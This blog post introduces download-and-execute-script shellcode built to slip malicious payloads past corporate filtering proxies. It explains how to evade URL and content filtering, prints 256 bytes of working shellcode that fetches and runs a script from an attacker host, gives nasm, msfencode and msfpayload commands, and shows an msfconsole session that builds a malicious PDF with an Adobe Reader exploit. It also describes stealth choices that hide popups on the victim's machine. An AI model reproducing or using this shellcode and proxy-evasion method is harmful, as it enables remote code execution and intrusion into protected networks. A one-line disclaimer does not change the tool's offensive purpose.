Download and Execute Script Shellcode
IntroductionSomething I have been working on lately is shellcode to download and execute a script on a Windows system. "What?" you may be thinking, "Why the hell would you want to do that when there already exists shellcode to download and execute proper Windows executables?"
The short answer to that question is "To bypass restrictive proxy servers"...
...
Need more detail than that? OK...
Whats the problem with Restrictive Proxies?
Restrictive proxy servers, commonly used in corporate environments, have a number of features that can be used to block potentially malicious traffic from reaching the client systems they mediate web traffic for. Some of the features they have that can cause problems for normal download and execute shellcode which can be bypassed by the use of download and execute script shellcode are as follows:
- Blocking based on patterns in the URL, such as any URL ending in .exe
- Blocking based on analysis of the content of web responses and requests, such as any response that contains a file signature consistent with a Windows executable
Lets look at each of these features in a little more detail.
For the purposes of this explanation, we will assume the following network environment, where the client sits in a network separated from the Internet (and the attackers web server) via a restrictive firewall. We will assume that the firewall only allows outgoing communication to web sites via the proxy server, and no other direct communication in or out is allowed (with the possible exception of DNS traffic, the exploitation possibilities of which I wont go into right now). The logical diagram below illustrates the section of the network that we are interested in.
Note that this diagram shows the client is connected to the firewall via the proxy server. Now this does not actually have to be true from the perspective of how traffic in the network is routed (e.g. layer 3 of the OSI model), it is just meant to illustrate the all web traffic must be forwarded through the proxy for it to reach the Internet. This goal can be achieved by either configuring the browser proxy settings to use the proxy and blocking all direct traffic to the Internet using our Firewall, or by actually routing any layer three traffic destined for the Internet through our proxy box, and running the proxy service in transparent mode. (Although in the case of running the proxy transparently you might have to watch for web traffic on non standard ports).
The important point is that all web traffic goes through the proxy and gets checked by it, and no other traffic can exit the network so any outgoing traffic must be tunneled through the proxy.
Now lets look at the impact that proxy filtering can have on the operation of download and execute shellcode. Lets first examine the case of blocking content via patterns in the URL. Blocking based on patterns in the URL is one of the most simple methods to actually bypass, however some variants of download and execute shellcode are caught by it because they use the filename from the URL as the filename to use when saving the downloaded content to disk.
In the examples below, we will be trying to get our executable file, "evil.exe" onto the target client machine from our webserver located at www.attacker.com.
Please note that these filenames and URLs are being used for the purpose of example only. I don't own www.attacker.com and I wouldn't recommend that you try and access evil.exe from that site.
So what happens when we make a request for an exe file to a proxy server that blocks based on a pattern in the URL? The proxy server usually just immediately replies with a denied message, without even contacting the remote web server, as shown in the diagram below.
As mentioned before, this filtering method is actually really easy to bypass. All we need to do is rename the extension of the file on the attackers web server, and as long as the proxy server is not doing any type of content checking, the request will complete successfully.
Lets examine the result of the same request when "evil.exe" is renamed to "evil.txt" on the webserver.
The download completes successfully, because in this case the proxy is only checking the text of the URL and not the received content. We don't actually need script downloading shellcode to bypass this type of proxy, we would just need download and exec shellcode that allowed files with any file extension to be downloaded, saved to disk with a .exe extension, and then executed.
But what about proxy servers that actually check the content of files they receive? In this case, simply renaming the file wont allow us to bypass the proxy. Once the proxy receives the response from the remote web site, analyses its contents and finds a file siganture for an executable file, it will block the traffic.
Lets see what happens when our executable file "evil.txt" is downloaded through a proxy that performs file signature matching on content.
As soon as the web content is received by the proxy from the attackers website, and is checked, it is recognised as containing executable content, and a denied message is returned to the client.
This is where shellcode that can download and execute a script becomes useful. Because the script data is text based, it will bypass proxy servers that perform blocking by matching file signature, because script content is essentially the same as html which a proxy must allow in order to support browsing of regular web pages. Now our content can still be caught by file extension (if we name our filename [whatever].vbs), or by text pattern matching (if we use a number of potentially evil VBScript or JScript commands in our script), but either of those protections is easy to bypass if we rename the file extension and obfuscate our script.
So if we replaced our evil.txt with script content and not executable content, our download should proceed as below, with the content being successfully delivered to the target victim PC.
What can be done with a script?
So what exactly can we do with script content delivered to our victim system? A number of things actually, only limited by your imagination. Some possible examples of things we could do with a script are using it to:
- Run existing executables already on the target system, or make any other changes on the target system that the user we run our script as is entitled to make
- Contain a encoded copy of an executable file, which it can then decode, write to disk and run
- Download copies of encoded executables from the attackers web site, decode them, and run them
I have used this shellcode in order to exploit a system behind a restrictive proxy and tunnel out a cmd shell via http through the proxy, and I will go into details of how that was achieved in a future post.
The Code
My download and execute script shellcode is based on the download and execute code from here and I have provided copies in assembly form as well as a Metasploit payload which you can copy to /modules/payloads/singles/windows/ in your Metasploit install directory (probably /opt/metasploit3/msf3/ on Linux).
I have tested the shellcode successfully on Windows XP SP2 and SP3 and Windows Vista SP2.
Get the code here:
Edit: Updated to support Windows 7, more details here.
Usage Examples
If you want to use the assembly form of the code, put your chosen URL at the end of file in the db line, and assemble to descript.bin via nasm using the following command
lupin@lion:~/proxybypass$ nasm -f bin descript.asm -o descript.bin
Then you can run it through msfencode to get rid of bad characters like so
lupin@lion:~/proxybypass$ cat descript.bin | msfencode -a x86 -b '\x00\x0a\x0d' -t c
Or just output it in c hash format using perl like so
lupin@lion:~/proxybypass$ cat descript.bin | perl -e 'while (read STDIN, $d, 1) {print "\\x" . sprintf( "%02x", ord($d));}; print "\n"'
If you want to use the Metasploit module (which is actually a much easier way to use the shellcode), just use it like you would any other Metasploit payload, providing the URL to download the script from via the "URL" option.
Heres an example using msfpayload, to output shellcode suitable for pasting into an exploit you create yourself:
lupin@lion:~$ msfpayload windows/download_exec_script URL=http://192.168.56.1/evil.tmp C
/*
* windows/download_exec_script - 256 bytes
* http://www.metasploit.com
* URL=http://192.168.56.1/evil.tmp
*/
unsigned char buf[] =
"\xeb\x74\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x40\x08\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"
"\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37"
"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"
"\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"
"\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"
"\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\x5f\x81\xef"
"\x98\xff\xff\xff\xe8\x90\xff\xff\xff\x89\xc3\xeb\x05\xe8\xeb"
"\xff\xff\xff\x68\x8e\x4e\x0e\xec\x53\xe8\x8f\xff\xff\xff\x31"
"\xc9\x66\xb9\x6f\x6e\x51\x68\x75\x72\x6c\x6d\x54\xff\xd0\x68"
"\x36\x1a\x2f\x70\x50\xe8\x75\xff\xff\xff\x31\xc9\x51\x51\x8d"
"\x37\x81\xc6\xee\xff\xff\xff\x8d\x56\x0c\x52\x57\x51\xff\xd0"
"\x68\x98\xfe\x8a\x0e\x53\xe8\x56\xff\xff\xff\x41\x51\x56\xff"
"\xd0\x68\x7e\xd8\xe2\x73\x53\xe8\x46\xff\xff\xff\xff\xd0\x77"
"\x73\x63\x72\x69\x70\x74\x20\x2f\x2f\x42\x20\x61\x2e\x76\x62"
"\x73\x00\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x36"
"\x38\x2e\x35\x36\x2e\x31\x2f\x65\x76\x69\x6c\x2e\x74\x6d\x70"
"\x00";
And heres an example using msfconsole to create a malicious PDF file:
lupin@lion:~$ msfconsole
...[SNIP]...
msf > use windows/fileformat/adobe_collectemailinfo
msf exploit(adobe_collectemailinfo) > set PAYLOAD windows/download_exec_script
PAYLOAD => windows/download_exec_script
msf exploit(adobe_collectemailinfo) > set URL http://192.168.56.1/evil.tmp
URL => http://192.168.56.1/evil.tmp
msf exploit(adobe_collectemailinfo) > set OUTPUTPATH /tmp
OUTPUTPATH => /tmp
msf exploit(adobe_collectemailinfo) > set FILENAME evil.pdf
FILENAME => evil.pdf
msf exploit(adobe_collectemailinfo) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME evil.pdf yes The file name.
OUTPUTPATH /tmp yes The location of the file.
Payload options (windows/download_exec_script):
Name Current Setting Required Description
---- --------------- -------- -----------
URL http://192.168.56.1/evil.tmp yes The URL pointing to the script. Don't use .txt, .htm file extentions!
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)
msf exploit(adobe_collectemailinfo) > exploit
[*] Creating 'evil.pdf' file...
[*] Generated output file /tmp/evil.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_collectemailinfo) >
Notes on Use of the Shellcode
This shellcode uses the URLDownloadToFile function from urlmon.dll to actually download the script file from the web. The following results from this:
- The shellcode will use Internet Explorers proxy settings to make the web request, and if the proxy server uses integrated Windows Authentication the logon details will be automatically provided in response to a challenge. So far, I have only tested this via exploiting software run as the locally logged on user, so Im not sure what will happen regarding Windows Authentication if you happen to exploit a program running as a different user.
- URLs with files ending in particular extentions will not be saved to disk. Extentions .txt and .htm are the ones I have discovered so far that do not get saved, but there may be more. Using the .tmp extension allows the file to be correctly saved to disk.
There are two zero bytes in the shellcode, at the end of each of the db strings at the end of the code itself. These were left in place in order to simplify the code and to allow easy modification of the URL without having to change offsets in the code to re-add the zero byte at runtime. Obviously, if you need to use this shellcode in an exploit that is intolerant of zero byte characters, encode it first.
The script is being saved to disk as a.vbs in the present working directory of the program that you exploit. That means that the account that the program runs as must have permissions to both read and write to this directory for the shellcode to be effective. If this is a problem the code can always be modified to save to the temp directory instead, although this will increase the size of the code. The fact that the file extension is set as .vbs also means that the code you provide must be VBScript code. If you want to use JScript, just modify the appropriate db entry near the end of the assembly code to use a .js extension instead.
The downloaded script is also run using wscript in batch mode (//B) which will prevent any popup messages (including those that result from "WScript.Echo" commands) from appearing on the target system. This was done for stealth reasons - without it you get a great honking popup on the victim system if the script does not exist (e.g. if the download fails) or if you have an error in your code that you havent silenced using "On Error GoTo Next". So given that 'WScript.Echo "Hello world"' wont work as a test script, if you want to test that the code works properly use something like the following, which will create file c:\blah.txt and write "Blah." to it.
Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.CreateTextFile("c:\blah.txt", True)
File.WriteLine("Blah.")
File.Close
If you modify the assembly version of the file and want your changes to be reproduced in the Metasploit payload version, its quite easy to do so. Assuming the two db statements are still left at the end of the shellcode, all you need to do is assemble the code using nasm, output the binary file in c hash format using perl, cut everything after the second last zero byte (\x00) character in the c hash output and then paste the resulting data into the download_exec_script.rb file, taking note of the proper syntax.
And of course the standard disclaimer applies, don't use this code to do anything evil, like breaking into systems without appropriate permission.
Anyway, have fun with the code and be sure and drop me a line and let me know if you find it useful or have used it to do something cool.